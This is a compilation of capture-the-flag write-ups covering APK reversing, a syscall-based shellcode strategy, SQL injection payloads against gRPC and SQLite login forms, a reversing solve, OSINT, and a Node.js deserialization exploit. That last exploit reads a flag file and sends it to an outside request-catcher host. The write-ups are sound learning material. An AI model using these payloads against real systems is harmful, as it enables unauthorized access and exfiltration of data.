Download the file below.Files:simple-app.apk```
Same method than **Candroid**
We extract apk in a directory and we check if the flag is writed in plain text:```$ grep -R flagBinary file resources.arsc matchesBinary file classes.dex matches
$ strings classes.dex | grep flag[...]flag{3asY_4ndr0id_r3vers1ng}[...]```
The flag is: `flag{3asY_4ndr0id_r3vers1ng}`
## Secure Safe```This app says it secures my stuff! It's so cool!
Download the file below.Files: secure_safe.apk```
The application asks a 4-digit pin and seems use it to decrypt a cipher after that a `submit` was pressed, the result seems to be the flag
We use http://www.decompiler.com to decompile the APK
In `sources/com/congon4tor/nahamcon2/MainActivity.java`, there is the `onCreate` main function:``` javapublic void onCreate(Bundle bundle) { super.onCreate(bundle); setContentView((int) R.layout.activity_main); String string = getString(R.string.encrypted_flag); this.p = (TextView) findViewById(R.id.flagTV); ((Button) findViewById(R.id.submit)).setOnClickListener(new a(string, (EditText) findViewById(R.id.pin)));}```
The class `MainActivity.a` is set as click listener of the submit button with `string` var and the `pin` input element
`string` is equal to `getString(R.string.encrypted_flag)`, so we search its value:```$ grep -R encrypted_flagresources/res/values/public.xml: <public type="string" name="encrypted_flag" id="2131492892" />resources/res/values/strings.xml: <string name="encrypted_flag">UFhYVUt2VmdqEFALbiNXRkZvVQtTQxwSTVABe0U=</string>sources/com/congon4tor/nahamcon2/MainActivity.java: String string = getString(R.string.encrypted_flag);sources/com/congon4tor/nahamcon2/R.java: public static final int encrypted_flag = 2131492892;```
`string` is equal to `UFhYVUt2VmdqEFALbiNXRkZvVQtTQxwSTVABe0U=` because it's the variable `encrypted_flag` in `R.strings`
The class `MainActivity.a` is:``` javapublic class a implements View.OnClickListener {
public final /* synthetic */ String f532b; public final /* synthetic */ EditText c;
public a(String str, EditText editText) { this.f532b = str; this.c = editText; }
public void onClick(View view) { String[] strArr = {this.f532b, this.c.getText().toString()}; new b.b.a.a.a(MainActivity.this).execute(new String[][]{strArr}); }}```
At create, there is `UFhYVUt2VmdqEFALbiNXRkZvVQtTQxwSTVABe0U=` in `this.f532b`
When the user press the ` submit` button, the function `onClick` is called and there are `UFhYVUt2VmdqEFALbiNXRkZvVQtTQxwSTVABe0U=` and the pin in `strArr`
Then, the class `b.b.a.a.a` is created and executed, the argument look like `{{"UFhYVUt2VmdqEFALbiNXRkZvVQtTQxwSTVABe0U=", **pin**}}`
we search where the class is located: in the directory `source/b/b/a/a` there is a file named `a` and in it, a class `a` from package `b.b.a.a`, it's it !
In `source/b/b/a/a/a` there is two methods of `AsyncTask class` called by `execute`:``` javapublic Object doInBackground(Object[] objArr) { String[][] strArr = (String[][]) objArr; String str = strArr[0][0]; String str2 = strArr[0][1]; try { MessageDigest instance = MessageDigest.getInstance("SHA-1"); instance.update("5up3r_53cur3_53cr37".getBytes("UTF-8")); instance.update(str2.getBytes("UTF-8")); return new String(a(Base64.decode(str, 0), new BigInteger(1, instance.digest()).toString(16).getBytes())); } catch (UnsupportedEncodingException | NoSuchAlgorithmException e) { e.printStackTrace(); return "Error decrypting"; }}
public void onPostExecute(Object obj) { String str = (String) obj; super.onPostExecute(str); this.f531a.p.setText(str);}```
The `execute` function call `doInBackground` function with argument passed to `execute` and `onPostExecute` is called automaticly after `doInBackground` finishes with the value returned by `doInBackground` as argument
`doInBackground` seems decrypt the flag and `onPostExecute` display it
Now, we can write a script to test all pin and crack it:``` javaimport java.io.UnsupportedEncodingException;import java.math.BigInteger;import java.security.MessageDigest;import java.security.NoSuchAlgorithmException;import java.util.Base64;
public class Crack {
// xor function public static final byte[] a(byte[] bArr, byte[] bArr2) { byte[] bArr3 = new byte[bArr.length]; for (int i = 0; i < bArr.length; i++) { bArr3[i] = (byte) (bArr[i] ^ bArr2[i % bArr2.length]); } return bArr3; }
public static Object doInBackground(Object[] objArr) { String[][] strArr = (String[][]) objArr; String str = strArr[0][0]; String str2 = strArr[0][1]; try { MessageDigest instance = MessageDigest.getInstance("SHA-1"); instance.update("5up3r_53cur3_53cr37".getBytes("UTF-8")); instance.update(str2.getBytes("UTF-8")); // change way to decode in Base64 return new String(a(Base64.getDecoder().decode(str), new BigInteger(1, instance.digest()).toString(16).getBytes())); } catch (UnsupportedEncodingException | NoSuchAlgorithmException e) { e.printStackTrace(); return "Error decrypting"; } }
public static void main(String[] args) { String encrypted_flag = "UFhYVUt2VmdqEFALbiNXRkZvVQtTQxwSTVABe0U="; for (int id = 0; id <= 9999; id++) { String pin = String.format("%04d", id); String flag = (String)doInBackground(new String [][]{{encrypted_flag, pin}}); if (flag.startsWith("flag{")) System.out.println("pin:" + pin + " -> " + flag); } }
}```
And finaly execute it:```$ java Crack.javapint:3952 -> flag{N0T_th3_B3st_3ncrypt10N}```
The flag is: `flag{N0T_th3_B3st_3ncrypt10N}` |
# SaaS - Syscall as a Service__Category__: Pwn __Points__: 100
> You've heard of software as a service, > but have you heard of syscall as a service?>> Attachement: [saas](./saas)
__Important:__ This writeup is an addition to the other writeupsof this challenge. The other writeups show how to read theflag file but this writeup shows how to get full code execution. Make sure to read [this writeup](https://github.com/Heinzeen/ctf/blob/master/Nahamcom_2020/saas/saas_writeup.md) by [Heinzeen](https://github.com/Heinzeen) to see the intended solution for this challenge.
### Quick RecapThe program lets us make arbitrary amd64 system calls except:- sys_execve- sys_fork- sys_clone- sys_kill- sys_ptrace- sys_tkill- stub_execveat
The return value of the system call is echoed back to the user.
Also the binary has all protections enabled:```RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILEFull RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH 77 Symbols Yes 0 1 saas```
### Exploit StrategyIf the binary wouldn't be position independent, executing shellcode would be trivial: Just mark the text-segment as writable with mprotect() and overwrite .text with our shellcode.Unfortunately we are completely blind.
As the other writeups show, we can use mmap() to get our data into the process.Since mmap() can create executable regions we can use thisto store shellcode that pops a shell (see [shellcode.asm](./shellcode.asm)). The only question that remains is: How do we get control over the instruction pointer with system calls? And that's where signals come in handy! If we manage to recrate the following code snippet we can get full code execution:```cvoid* shellcode = mmap(NULL, 0x1337, PROT_READ | PROT_WRITE | PROT_EXECUTE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);read(0, shellcode, 0x1337);signal(SIGHUP, shellcode);raise(SIGHUP);```Note that SIGHUP is chosen arbitrarily. We can use any other signal.
### Installing a Signal HandlerLet's recreate```csignal(SIGHUP, shellcode)```with some system calls. The system call that installs a signal handler is ```sys_rt_sigaction``` (number 13). It takes the following arguments:The ```struct sigaction``` looks like this:```cstruct kernel_sigaction{ __sighandler_t k_sa_handler; unsigned long sa_flags; void (*sa_restorer) (void); sigset_t sa_mask;};``````k_sa_handler``` is the handler function for the signal. This will be the address of our shellcode. ```sa_flags``` and ```sa_mask``` will be 0 since we don't want any special behaviour. ```sa_restorer``` normally contains a pointer to a function that restores the state of the process right before the signal handler was executed. This is where sigreturn normally comes into play. In our case this field doesn't matter becauseexecve will replace the process anyway but in the exploit script I set this to the address of our shellcode.
```oact``` also doesn't matter and can be NULL and ```sigsetsize``` is 8.
### Delivering a signalI chose to deliver a signal with the ```sys_tgkill``` system call (number 234). This system call just takes a process id and a signal and delivers that signal to the process. Nothing special.
### Crafting the exploitWe can now combine everything into following exploit:1. mmap() a region for our shellcode (must be executable)2. Write our shellcode into the region3. mmap() a region for the ```struct sigaction```4. Write the following values into it: - ```k_sa_handler``` = shellcode - ```sa_flags``` = 0 - ```sa_restorer``` = shellcode (but doesn't matter really) - ```sa_mask``` = 05. Install the signal handler6. Deliver the signal7. ???8. Profit
See [exploit.py](./exploit.py) for a concrete implementation. |
This was a nice opportunity to see grpc in action.
They provided the code for the server, as well as the protobuf-based service.
[full code here](https://github.com/shouc/wectf-2020/tree/master/light_sequel)
Looking at the code, I saw a possible sql injection vulnerability here (in the where clause):
```gofunc (s *srvServer) GetLoginHistory(ctx context.Context, _ *pb.SrvRequest) (*pb.SrvReply, error) { md, _ := metadata.FromIncomingContext(ctx) if len(md["user_token"]) == 0 { // no user token provided by upstream return &pb.SrvReply{ Ip: nil, }, nil } userToken := md["user_token"][0] var ul []UserLogs err := db.Table("user_logs AS ul"). Select("ul.ip"). Where(fmt.Sprintf("ul.user_id = (SELECT id FROM users AS u WHERE u.token = '%s')", userToken)). Find(&ul) if err != nil { log.Println(err) } // convert struct to an array var ips []string for _, v := range ul { ips = append(ips, v.Ip) } return &pb.SrvReply{ Ip: ips, }, nil}```
First step: implement a client to be able to call the `GetLoginHistory`. I went through the steps of invoking the `AuthSrv` and registering, but it turns out that wasn’t actually needed–the GetLoginHistory is only checking the token exists, without validation.
```gofunc main() { conn, err := grpc.Dial("light.w-va.cf:1004", grpc.WithInsecure()) if err != nil { panic(err) } defer conn.Close() srvc := proto.NewSrvClient(conn) srvreq := proto.SrvRequest{} srvresp, err := srvc.GetLoginHistory(context.Background(), &srvreq) if err != nil { panic(err) } fmt.Println(srvresp)}```
This got the `nil` response. It took me a bit more effort to figure out how to pass a `user_token` into the `md` via the `metadata.FromIncomingContext(ctx)`. And from there, a union-based sql injection to get the flag.
```go srvc := proto.NewSrvClient(conn) md := metadata.New(map[string]string{"user_token": "')) union select flag from flags--"}) ctx := metadata.NewOutgoingContext(context.Background(), md) srvreq := proto.SrvRequest{} srvresp, err := srvc.GetLoginHistory(ctx, &srvreq)```
It was cool to learn about grpc and xorm as well–haven’t done serious golang in a while. Thanks wectf. :) |
Original: https://github.com/Neptunians/ractf/tree/master/2020/quarantine
# RACTF Write-Up - Quarantine (4 challenges)
## Quarantine - First Access
In this challenge, we have to login somehow in the application, without having any passwords.
It has a SQL Injection on the Login Screen, but wen you try the basic, it returns the message.
"Attempting to login as more than one user!??"
Which means, strangely, that it is searching for all users which that password.OK, so we just need to bring only one user.
Assuming the query is:`select * from users where password = 'pwd'`
We just call this:```select * from users where password = '' or password=(select max(password) from users) or '1'='2'```
And we're in!
```ractf{Y0u_B3tt3r_N0t_h4v3_us3d_sqlm4p}```
## Quarantine: Finding Server Information
In this challenge, we have to somehow get the application source code, with a hint, that it's called "app.py".
While watching de videos, you see the URL:```http://95.216.233.106:62020/watch/HMHT.mp4```
So, we just try:```http://95.216.233.106:62020/watch/app.py```
And it's done (in the source code)
```ractf{qu3ry5tr1ng_m4n1pul4ti0n}```
It doesnt really brings the source, but brings the flag.
## Quarantine - Hidden Information
This easy challenge says there is a hidden information.
**/robots.txt** hiddens a URL **/admin-stash** from search engines, which has the flag.robots.txt: ```ractf{1m_n0t_4_r0b0T}```
## Quarantine - Getting Admin
We are challenged to get an admin account (and possibly call the /admin, which is forbidden at first)
For this, I used a series of SQL Injection Attacks, so I could understand the database model.
I used a similar approach of the first SQL Injection, but I had to do it in phases.
Unfortunately, I didnt save all the information, so I'll use the info I have for the write-up.
#### Get all the usernames
Used substring to check it letter (checkin with login OK or not).
```select * from userswhere password = '' or ((select substr(lower(username), 1, 1) from users where username > '' and username = (select min(username) from users)) = 'a') or '1'='2'```
Brute-forced with:https://github.com/Neptunians/ractf/blob/master/2020/quarantine/brute_usernames.py
-- Found user: 'Dave'
I think I found others, but I didnt save the names :(
#### Get user password
Same approach, brute-forced with:https://github.com/Neptunians/ractf/blob/master/2020/quarantine/brute_passwords.py
Found password:```'p3rf3ct1nfr4structre'```
It was not enough to get admin.Apparently, no user was admin.
#### Had to find more database columns
Since it was a sqlite, I didnt have a information_schema to search.It's a bitch to get column information because, it is all contained in a string, with the create table command.
#### Found the extra column name
Found column by column, brute-forcing the name with substring (again)
With this payload, I found the number of columns and brute-forced the name of the extra column.
```select * from userswhere password = '' or (SELECT substr(sql, 26, 1) FROM sqlite_master WHERE type='table' and tbl_name = 'users' and sql like '%,%,%,%')='a' or '1'='2'```
Used this codehttps://github.com/Neptunians/ractf/blob/master/2020/quarantine/brute_column_names.py
ID, username, password AND "privilege"!
#### Privilege escalation
Found that I was logging in using privilege=1, but I needed privilege=2
-- Lets Return a fake privilege (2)```select * from userswhere password = '' union select 'Dave', 'p3rf3ct1nfr4structre', 2 from users where username = 'Dave'```
Final Payload: ```' union select 'Dave', 'p3rf3ct1nfr4structre', 2 from users where username = 'Dave```
And after going to /admin, it's working!
```ractf{j4va5cr1pt_w3b_t0ken}```
### Unintended solution
After looking at the flag text, I found the intended solution was breaking the JWT.Found other write-ups about it, so I wont write again, since it was not my solution.
Anyhow, it was fun! |
[original](https://gist.github.com/cwgreene/5253cfa3904871535126b34ebbcb050f)# Defenit-2020 Mom's TouchWe download the binary and open it in ghidra.
```c
void entry(void)
{ __libc_start_main(FUN_08048840); do { /* WARNING: Do nothing block with infinite loop */ } while( true );}```
This is actually not quite right; but we'll come back to that later.Proceeding to main we have
```c
undefined4 FUN_08048840(void)
{ char cVar1; ssize_t sVar2; size_t len; char *local_1c; char *__s; FUN_080486b0(); puts("Mom Give Me The FLAG!"); __s = (char *)malloc(100); if (__s == (char *)0x0) { __s = "[*]Error : malloc()"; } else { sVar2 = read(0,__s,100); if (-1 < sVar2) { if (__s[sVar2 + -1] == '\n') { __s[sVar2 + -1] = '\0'; } len = strlen(__s); if (len == 0x49) { cVar1 = mainfunc(__s); if (cVar1 == '\0') { local_1c = "Try Again.."; } else { local_1c = "Correct! Mom! Input is FLAG!"; } puts(local_1c); free(__s); return 0; } puts("Mom, Check the legnth.."); /* WARNING: Subroutine does not return */ exit(0); } __s = "[*]Error : read()"; } perror(__s); /* WARNING: Subroutine does not return */ exit(-1);}```
So we read the input, which should be 0x49 characters long,and then pass it against our verifier function `mainfunc`.
```c
undefined4 mainfunc(char *param_1)
{ uint uVar1; int iVar2; uint uVar3; int iVar4; iVar4 = 0; do { uVar1 = (&DAT_080492ac)[iVar4]; iVar2 = rand(); uVar3 = iVar2 + ((iVar2 / 0xff + (iVar2 >> 0x1f)) - (int)((longlong)iVar2 * 0x80808081 >> 0x3f)) * -0xff; if (((int)param_1[iVar4] ^ (&DAT_080492ac)[(uVar1 >> 4 | uVar1 << 4) & 0xff] ^ (&DAT_080492ac)[(uVar3 >> 2 | uVar3 * 4) & 0xff]) != (&DAT_08049144)[iVar4]) { return 0; } iVar4 = iVar4 + 1; } while (iVar4 < 0x49); return 1;}```
So, we have two arrays, one, DAT_080492ac, which gets transformed with rand() and then xor'd with the input, and then gets comapred to the second array DAT_08049144. By simplearithmetic this means
```X = (&DAT_080492ac)[(uVar1 >> 4 | uVar1 << 4) & 0xff] ^ (&DAT_080492ac)[(uVar3 >> 2 | uVar3 * 4) & 0xff])param_1[i] = (&DAT_08049144)[iVar4]) ^ X ```
Visiting those array locations in Ghidra, however, reveals zero arrays. Strange,but no matter, we can break point in this function and read the values directlyout from memory using `gdb`. So something like this
``` for(int i = 0; i < 73;i++) { int chr = array1[i]; int rnd =rand(); int uVar1 = rnd + ((rnd / 0xff + (rnd >> 0x1f)) - (int)((long long)rnd * 0x80808081 >> 0x3f)) * -0xff; int d = array1[(chr >> 4 | chr << 4) & 0xff] ^ array1[(uVar1 >> 2 | uVar1 * 4) & 0xff] ^array2[i]; printf("%c",d); }```
Since `srand()` isn't being called, we can just call `rand()` directly and, since it'sdeterministic, we will generate the same values. (This also answers the mysteryof how this is guaranteed to work, and not just sometimes).
However, this doesn't work. `srand()` is in fact being called. And we can find it usingghidra's XREFS. Which reveals this function.
```c
/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */
void _INIT_1(void)
{ int iVar1; int iVar2; srand(0xff); _DAT_080492a4 = rand(); _DAT_080492a4 = _DAT_080492a4 + ((_DAT_080492a4 / 0xff + (_DAT_080492a4 >> 0x1f)) - (int)((longlong)_DAT_080492a4 * 0x80808081 >> 0x3f)) * -0xff; iVar2 = -0x400; do { iVar1 = rand(); *(int *)(iVar2 + 0x80496ac) = iVar1 + ((iVar1 / 0xff + (iVar1 >> 0x1f)) - (int)((longlong)iVar1 * 0x80808081 >> 0x3f)) * -0xff; iVar2 = iVar2 + 4; } while (iVar2 != 0); return;}```
Ah! So **that's** how the arrays are getting populated! So we have additional callsto `rand` here, plus an initialization using `srand`. We'll need to add these callsto our deobfuscator.
```cint main() { srand(0xff); rand(); for(int j = 0; j < 256; j++) { rand(); } for(int i = 0; i < 73;i++) { int chr = array1[i]; int rnd =rand(); int uVar1 = rnd + ((rnd / 0xff + (rnd >> 0x1f)) - (int)((long long)rnd * 0x80808081 >> 0x3f)) * -0xff; int d = array1[(chr >> 4 | chr << 4) & 0xff] ^ array1[(uVar1 >> 2 | uVar1 * 4) & 0xff] ^array2[i]; printf("%c",d); }}```
This spits out
```Defenit{ea40d42bfaf7d1f599abf284a35c535c607ccadbff38f7c39d6d57e238c4425e}```
Huzzah! But wait... where did INIT_1 get called?
## The Land Before `main`
Let's revisit the entry point.
```cvoid entry(void)
{ __libc_start_main(FUN_08048840); do { /* WARNING: Do nothing block with infinite loop */ } while( true );}```
`__libc_start_main` signature is wrong! It should be
```int __libc_start_main(int *(main) (int, char * *, char * *), int argc, char * * ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end));```
The first argument should be main, followed by argc, and then argv! That should thenbe followed by a function pointer, followed by another function pointer.
Looking at the disassembly we sometimes
``` 0804859b 68 70 89 PUSH FUN_08048970 04 08 080485a0 68 10 89 PUSH FUN_08048910 04 08 080485a5 51 PUSH ECX 080485a6 56 PUSH ESI 080485a7 68 40 88 PUSH FUN_08048840 04 08 080485ac e8 9f ff CALL __libc_start_main undefined __libc_start_main() ff ff```We find the `init` function is this:
```void FUN_08048910(undefined4 param_1,undefined4 param_2,undefined4 param_3)
{ int iVar1; _DT_INIT(); iVar1 = 0; do { (*(code *)(&__DT_INIT_ARRAY)[iVar1])(param_1,param_2,param_3); iVar1 = iVar1 + 1; } while (iVar1 != 2); return;}```
This is actually the `libc_csu_init` function. It gets called prior to invokingmain (we can prove this using `gdb`, just set a breakpoint).
Visiting the `__DT_INIT_ARRAY` we find
``` // // .init_array // SHT_INIT_ARRAY [0x8049000 - 0x8049007] // ram: 08049000-08049007 // __DT_INIT_ARRAY XREF[5]: 0804809c(*), FUN_08048910:08048931(*), FUN_08048910:08048954(R), 0804902c(*), _elfSectionHeaders::000002dc(*) 08049000 60 86 04 08 ddw _INIT_0 DWORD_08049004 XREF[1]: FUN_08048910:08048954(R) 08049004 30 87 04 08 ddw _INIT_1```
And there's the init function! So libc_csu_init is calling everything in the array,in particular, it calls `_INIT_1` (`INIT_0` btw, is boring and does nothing,I'm not sure why it's there).
In C++, one of these functions will call all the static initializers for global andstatic objects, so this is actually good to know about.
So why did Ghidra botch the function definition for `__libc_start_main`? That'sa story for another time (namely, once I figure it out); |
# Finsta
50 points
### Prompt
> This time we have a username. Can you track down `NahamConTron`?
### Solution
I used the `namechk` tools from the [OSINT Framework Site](https://osintframework.com/). Specifically, I used `OSINT Framework` > `Username` > `Username Search Engines` > [`Namechk`](https://namechk.com/), similarly to in AUCTF.
`namechk` tells me that there are claimed usernames for the name `NahamConTron` for many sites, including Instagram.

Checking out [the Instagram account](https://www.instagram.com/NahamConTron/), we get the flag.
```flag{i_feel_like_that_was_too_easy}```
~ Lyell |
# Time Keeper
50 points
### Prompt
> There is some interesting stuff on this website. Or at least, I thought there was...
> Connect here:https://apporima.com/
> Note, this flag is not in the usual format.
### Solution
After scoping out that site, the title and description heavily hint towards use of the Wayback Machine. Over there we head, then.
First, I noted that there were only two captures, so I figured it would be worth it to compare them. In doing so, I came upon [this](https://web.archive.org/web/diff/20200509205430/20200418214642/https://apporima.com/):

It clearly indicates that we need to browse to `apporima.com/flag.txt` but in current times, that page does not exist. What else to do but browse it in the Wayback Machine? It gives us [this page](https://web.archive.org/web/20200418213402/https://apporima.com/flag.txt).
```JCTF{the_wayback_machine}```
~ Lyell
|
# NahamCon CTF - Seriously
**Original:**[https://github.com/Neptunians/nahamcon-ctf/blob/master/seriously/README.md](https://github.com/Neptunians/nahamcon-ctf/blob/master/seriously/README.md)
**Portuguese version:**[https://medium.com/@neptunian.hacker/nahamcon-ctf-write-up-seriously-web-hacking-34e98b806827?sk=326ca440f987c58c83b249851733932b](https://medium.com/@neptunian.hacker/nahamcon-ctf-write-up-seriously-web-hacking-34e98b806827?sk=326ca440f987c58c83b249851733932b)
So we have five "plant stores" and we need to hack it to get the flag.At first I thought the challenge was somehow related to escalate privileges among them.
There are two hints here:* The message on the checkout option, saying it was prohibited due to security issues.* The name of the game itself ("seriously"), as I found later.
I tried all the stores to see if the checkout was open on any of them, but they were not (and stores 3 and 4 were down).
The **/cart** URL used a cookie called also **cart**, to store the items, encoded in base64:
**Base64:**
```eyJpdGVtcyI6eyIwIjp7Im5hbWUiOiJIYXdvcnRoaW9wc2lzIGF0dGVudWF0YSIsInByaWNlIjoxOS45OSwiY291bnQiOjF9LCIyIjp7Im5hbWUiOiJEcmFjYWVuYSB0cmlmYXNjaWF0YSIsInByaWNlIjoxNC45OSwiY291bnQiOjF9fX0K````
**Decoded:**
```{"items":{"0":{"name":"Haworthiopsis attenuata","price":19.99,"count":1},"2":{"name":"Dracaena trifasciata","price":14.99,"count":1}}}````OK, using a 404 error, we see it's a node application, so I found a Javascript deserialization vulnerability.
### First Try: Shell
Using a sample payload online, I tried to call OS commands.The snippet bellow is the same structure of the cart, but I changed the name to an evil function.
```evil = { items: { '0': { name: 'Haworthiopsis attenuata', price: 19.99, count: 1 }, '2': { name: 'Dracaena trifasciata', price: 14.99, count: 1 }, '3': { name: function(){ require('child_process').exec('ls / >> nep10.txt', function(error, stdout, stderr) { return 'Neptunian'; }); }, price: 14.99, count: 1, }, }}**()**```
And the plan is to serialize the evil object to send to the server.
Something about the **()** above: if you put the parentheses in this constructor, it will run the function, and the serialized version will get only the result.I had to put the **()** it after serializing for it to run only after deserialization.Automated the replace to test faster.
And testing:```let buff = new Buffer.from(serialize.serialize(evil));
console.log('Evil Serialized:');// buff2 = buff.toString('ascii');
// Had to replace here to be automatic.// If I put the "()" and the end of the function, it will run and serialize the result!!// But if I put only in the serialized version, it will run only in the server, just after deserializing!// This way, I can work with a complete code, test the payload locally (below) and send it ready to the server.buff2 = buff.toString('ascii').replace('}","price', '}()","price');console.log(buff2 + '\n\n');
console.log('Evil Base64');let base64data = Buffer.from(buff2).toString('base64');console.log(base64data + '\n\n');
console.log('Evil URL Encoded:');let payload = urlencode(base64data);console.log(payload + '\n\n');```
Now I had a payload.It worked locally, but I couldnt make the exec command work (tried with curl instead of **ls**).
### The Real Deal: Owning with Javascript
I dont really need a shell when I can run Javascript code on the server.So lets change the Evil object.
The plan is to send result of the commands to **requestcatcher**.The error hints that the application is in the **/home/user**, so the plan is to list the files and see if the flag is there.
```// Kept the basic structure of the cart// First: listed files on /home/user dir// After: get flag in base64 format to send (owned!)evil2 = { items: { '0': { name: 'Haworthiopsis attenuata', price: 19.99, count: 1 }, '2': { name: 'Dracaena trifasciata', price: 14.99, count: 1 }, '3': { name: function(){
mysite = 'https://neptunian147.requestcatcher.com';
require('request')(mysite - '/working', function (error, response, body) { console.log(body); });
var fs = require('fs'); const path = require('path'); //joining path of directory // require('path').dirname(require.main.filename)''; //__dirname const directoryPath = '/home/user'; //passsing directoryPath and callback function fs.readdir(directoryPath, function (err, files) { //handling error if (err) { return console.log('Unable to scan directory: ' + err); require('request')(mysite + '/shitt-happens', function (error, response, body) { console.log(body); }); }
//listing all files using forEach files.forEach(function (file) { // Do whatever you want to do with the file console.log(file);
require('request')(mysite + '/store2?file=' + file, function (error, response, body) { console.log(body); }); }); });},price: 14.99, count: 1, }, }};```
And after that:

So, let's include a block to get the flag content and send it, using base64 to avoid any problems:
```var fs = require('fs');fs.readFile('/home/user/flag.txt', function(err, data) { let base64flag = Buffer.from(data).toString('base64');
require('request')(mysite + '/working?flag=' + base64flag, function (error, response, body) { console.log(body); });});```
And then:

Decodes to:
```$ echo "ZmxhZ3tzZXJpb3VzbHlfZGVzZXJpYWxpemF0aW9uX3dpdGhfcGxhbnRzfQo=" | base64 -dflag{seriously_deserialization_with_plants}```
Owned!
### Final Payload
[https://github.com/Neptunians/nahamcon-ctf/blob/master/seriously/jsproj/gen_payload.js](https://github.com/Neptunians/nahamcon-ctf/blob/master/seriously/jsproj/gen_payload.js)
```evil2 = { items: { '0': { name: 'Haworthiopsis attenuata', price: 19.99, count: 1 }, '2': { name: 'Dracaena trifasciata', price: 14.99, count: 1 }, '3': { name: function(){
mysite = 'https://neptunian147.requestcatcher.com';
require('request')(mysite - '/working', function (error, response, body) { console.log(body); });
var fs = require('fs'); fs.readFile('/home/user/flag.txt', function(err, data) { let base64flag = Buffer.from(data).toString('base64');
require('request')(mysite + '/working?flag=' + base64flag, function (error, response, body) { console.log(body); }); });
const path = require('path'); //joining path of directory // require('path').dirname(require.main.filename)''; //__dirname const directoryPath = '/home/user'; //passsing directoryPath and callback function fs.readdir(directoryPath, function (err, files) { //handling error if (err) { return console.log('Unable to scan directory: ' + err); require('request')(mysite + '/shitt-happens', function (error, response, body) { console.log(body); }); }
//listing all files using forEach files.forEach(function (file) { // Do whatever you want to do with the file console.log(file);
require('request')(mysite + '/store2?file=' + file, function (error, response, body) { console.log(body); }); }); });},price: 14.99, count: 1, }, }};
// Lets serialize the payloadlet buff = new Buffer.from(serialize.serialize(evil2));
console.log('Evil Serialized:');// buff2 = buff.toString('ascii');
// Had to replace here to be automatic.// If I put the "()" and the end of the function, it will run and serialize the result!!// But if I put only in the serialized version, it will run only in the server, just after deserializing!// This way, I can work with a complete code, test the payload locally (below) and send it ready to the server.buff2 = buff.toString('ascii').replace('}","price', '}()","price');console.log(buff2 + '\n\n');
console.log('Evil Base64');let base64data = Buffer.from(buff2).toString('base64');console.log(base64data + '\n\n');
console.log('Evil URL Encoded:');let payload = urlencode(base64data);console.log(payload + '\n\n');``` |
# Tron
75 points
### Prompt
> `NahamConTron` is up to more shenanigans. Find his server.
### Solution
I used the `namechk` tools from the [OSINT Framework Site](https://osintframework.com/). Specifically, I used `OSINT Framework` > `Username` > `Username Search Engines` > [`Namechk`](https://namechk.com/), similarly to in AUCTF.
`namechk` tells me that there are claimed usernames for the name `NahamConTron` for many sites:

Now that we have exhausted Instagram, I opened up all the other sites with claimed usernames for `NahamConTron` and systematically eliminated them. I ended up at the GitHub account owned by `NahamConTron`, and it included [a dotfiles repo](dotfiles). This in turn contains [a bash history file](dotfiles/.bash_history) that gives us the command that was run to access the server:
```bashssh -i config/id_rsa [email protected] -p 50033```
Now we just need the key, which conveniently and innapropriately is in the config repo. Running that command first gives us this error:
```bash@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ WARNING: UNPROTECTED PRIVATE KEY FILE! @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@Permissions 0664 for 'config/id_rsa' are too open.It is required that your private key files are NOT accessible by others.This private key will be ignored.Load key "config/id_rsa": bad permissions[email protected]'s password: ```
This is fixed with a quick `chmod 600 config/id_rsa` and then:
```bashssh -i config/id_rsa [email protected] -p 50033nahamcontron@94f05a972db8:~$ cat flag.txtflag{nahamcontron_is_on_the_grid}```
~ Lyell |
# **NahamCon CTF 2020**
This is my writeup for the challenges in NahamCon CTF, I mainly focused on cryptography, steganography and OSINT.***# Table of Contents
* [Warmup](#warmup) - [Read The Rules](#read-the-rules) - [CLIsay](#clisay) - [Metameme](#metameme) - [Mr.robot](#mr-robot) - [UGGC](#uggc) - [Easy Keesy](#easy-keesy) - [Peter Rabbit](#peter-rabbit) - [Pang](#pang)* [OSINT](#osint) - [Time Keeper](#time-keeper) - [New Years Resolution](#new-years-resolution) - [Finsta](#finsta) - [Tron](#tron)* [Steganography](#steganography) - [Ksteg](#ksteg) - [Doh](#doh) - [Beep Boop](#beep-boop) - [Snowflake](#snowflake) - [My Apologies](#my-apologies) - [Dead Swap](#dead-swap) - [Walkman](#walkman) - [Old School](#old-school)* [Cryptography](#cryptography) - [Docxor](#docxor) - [Homecooked](#homecooked) - [Twinning](#twinning) - [Ooo-la-la](#ooo-la-la) - [Unvreakable Vase](#unvreakable-vase) - [December](#december) - [Raspberry](#raspberry)* [Forensics](#forensics) - [Microsooft](#microsooft) - [Cow Pie](#cow-pie)* [Mobile](#mobile) - [Candroid](#candroid) - [Simple App](#simple-app) - [Ends Meet](#ends-meet)* [Miscellaneous](#miscellaneous) - [Vortex](#vortex) - [Fake file](#fake-file) - [Alkatraz](#alkatraz) - [Trapped](#trapped) - [Awkward](#awkward)* [Scripting](#scripting) - [Dina](#dina) - [Rotten](#rotten) - [Really powerful Gnomes](#really-powerful-gnomes)* [Web](#web) - [Agent 95](#agent-95) - [Localghost](#localghost) - [Phphonebook](#phphonebook)***# Warmup
## Read The RulesPlease follow the rules for this CTF!
Connect here:https://ctf.nahamcon.com/rules
**flag{we_hope_you_enjoy_the_game}**
**Solution:** The flag is commented close to the end of the source code for the rules pages, right after the elements for the prizes:

## CLIsaycowsay is hiding something from us!
Download the file below.
[clisay](assets//files/clisay)
**flag{Y0u_c4n_r3Ad_M1nd5}**
**Solution:** With the challenge we are given an ELF file (a type of Unix executable), by running it we get:

well that didn't give us much, we can check if there are printable strings in the file by using the strings command on it, doing that gives us the flag:

notice that you need to append the two parts of the flag together (the strings after and before the ascii art).
**Resources:*** strings man page: https://linux.die.net/man/1/strings* ELF file: https://en.wikipedia.org/wiki/Executable_and_Linkable_Format
## MetamemeHacker memes. So meta.
Download the file below.
[hackermeme.jpg](assets//images//hackermeme.jpg)
**flag{N0t_7h3_4cTuaL_Cr3At0r}**
**Solution:** With the challenge we get this image:

We can guess by the name of the challenge and its description that there is something in the metadata of the image, so we can use exiftool on it, exiftool allows you to see the metadata of an image, and by using it we get the flag:

